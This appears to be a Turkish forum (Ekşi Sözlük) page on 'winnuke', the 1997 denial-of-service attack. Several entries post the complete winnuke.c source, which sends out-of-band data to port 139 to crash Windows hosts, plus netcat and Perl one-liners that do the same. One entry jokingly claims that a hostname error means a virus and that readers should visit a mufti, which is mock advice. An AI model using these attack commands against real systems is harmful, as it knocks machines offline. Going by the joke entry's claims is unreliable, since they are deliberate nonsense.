winnuke
-
(bkz: oob)
-
kaynak kodunu da vereyim tam olsun
/* winnuke.c - (05/07/97) by _eci */
/* tested on linux 2.0.30, sunos 5.5.1, and bsdi 2.1 */
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 139 /* attack port: 139 is what we want */
int x, s;
char *str = "bye"; /* makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, int port) {
struct sockaddr_in blah;
struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=af_inet;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != null) {
bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
close(sock);
return(-4);
}
printf("connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[]) {
if (argc != 2) {
printf("usage: %s <target>\n",argv[0]);
exit(0);
}
if ((s = socket(af_inet, sock_stream, ipproto_tcp)) == -1) {
perror("socket()");
exit(-1);
}
open_sock(s,argv[1],dport);
printf("sending crash... ");
send(s,str,strlen(str),msg_oob);
usleep(100000);
printf("done!\n");
close(s);
} -
netcat olan herhangi bir makinede "echo bye | nc ip.adresi 139" seklinde de yapilabilir.
-
telnet olan herhangi bir makinede "telnet ip.adresi 139" yazip baglanti saglaninca sirayla (dikkat sira cok onemli) b, y ve e harflerine basarak yapabilirsiniz.
eger "couldn't resolve ip.adresi host not found" gibi bir hata aliyorsaniz o zaman bilgisayarinizda virus var demektir, hemen tovbe edip ilce muftulugunuze basvurun. -
perl'de tek satır kod ile yapılabilen hede...
perl -mio::socket -e 'io::socket::inet->new(peeraddr=>"1.2.3.4:139")->send("huzursuz_rulaz",msg_oob)'
şeklinde.
ekşi sözlük kullanıcılarıyla mesajlaşmak ve yazdıkları entry'leri
takip etmek için giriş yapmalısın.
hesabın var mı? giriş yap